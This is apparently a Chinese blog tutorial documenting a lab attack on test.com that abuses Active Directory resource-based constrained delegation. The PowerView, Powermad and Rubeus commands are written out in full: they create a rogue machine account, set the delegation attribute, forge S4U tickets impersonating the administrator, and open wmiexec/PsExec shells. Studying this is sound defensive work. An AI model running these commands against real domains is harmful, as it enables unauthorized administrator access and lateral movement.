域渗透——基于资源的约束委派利用

环境

域: test.com
域控:Windows server 2012R2, 主机名: AD, IP: 192.168.1.7
委派的域内主机:系统:win2008R2,主机名:win2008,ip:192.168.1.24
域内普通用户: test,对win2008有写的权限
域内普通用户: test1
攻击机器:系统:win2019 ip:192.168.1.19 登录用户为test1


设置test的写权限

域渗透——基于资源的约束委派利用_第1张图片
验证test这个用户对win2008是否具有写权限,可以使用PowerView枚举win2008.test.com的中的特定ACE

Get-DomainUser -Identity test -Properties objectsid         # 查询test的SID
Get-DomainObjectAcl -Identity WIN2008  | ?{$_.SecurityIdentifier -match "S-1-5-21-3298638106-3321833000-1571791979-1106"}	 # 查看是否有写权限

域渗透——基于资源的约束委派利用_第2张图片
可以看到test这个用户对win2008这个计算机账户拥有完全控制权限(GenericAll),其实也不一定需要GenericAll权限,GenericWriteWritePropertyWriteDacl等等权限都是可以修改账户属性的。



创建机器用户

我们现在还需要的是一个具有SPN的账户,因为S4U2Self只适用于具有SPN的账户,恰好的是在域中有一个属性MachineAccountQuota,这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户,而计算机账户默认是注册RestrictedKrbHost/domainHOST/domain这两个SPN的,所以这里刚好符合我们的意图。

我们可以使用Kevin RobertsonPowermad中的New-MachineAccount来创建一个用户名为evilsystem,密码为evil的计算机账户

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)

查询机器用户是否创建成功

net group "domain computers" /domain

域渗透——基于资源的约束委派利用_第3张图片



配置evilsystem到win2008的基于资源约束的委派

下面是修改win2008的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值,有两种方法可以修改,Powerview或者ActiveDirectory模块

这儿以powershell举例

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  #这儿的sid是我们创建的机器用户evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN2008| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

获取evilsystem的SID

Get-NetComputer "evilsystem" 

验证是否成功添加

Get-DomainComputer win2008 -Properties msds-allowedtoactonbehalfofotheridentity

域渗透——基于资源的约束委派利用_第4张图片这样就表示成功了~~

若想清除msds-allowedtoactonbehalfofotheridentity属性的值,可用如下命令:

Set-DomainObject win2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

配置完msDS-AllowedToActOnBehalfOfOtherIdentity属性之后就可以通过基于资源的约束委派去攻击目标主机了



攻击过程

这儿我们使用Rubeus来进行请求白银票据

因为Rubeus是不支持明文的,所以先把它转换为hash
域渗透——基于资源的约束委派利用_第5张图片
然后用evilsystem$的hash请求白银票据并导入到当前会话中

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/WIN2008 /ptt
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/WIN2008 /ptt

这儿需要导入两个票据才能用wmiexec连接win2008,我参考的文章作者使用的是psexecimpacketgetst.exe,但是我并没有成功,我是用wmiexec是可以连接上的(但是需要以管理员权限打开,本地管理员也可以)

下面是两个工具的使用命令(我自己使用这个没有成功)

PsExec64.exe \\win2008 cmd
getst.exe -dc-ip 192.168.1.24 -spn cifs/win2008 -impersonate Administrator test.com/test:evilsystem:evil

最后我是用wmiexec连接上win2008cmd的。

域渗透——基于资源的约束委派利用_第6张图片
这儿我还不清楚是咋回事(太菜了~~)
(环境有点问题啊~,服了)



解决敏感用户不可委派的问题

这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的

这个时候,将S4U2proxybase64提取成test.kirbi,然后再用Rubeus修改就可以了

Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/win2008 /ptt
Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/win2008 /ptt


参考链接

链接

你可能感兴趣的:(渗透测试)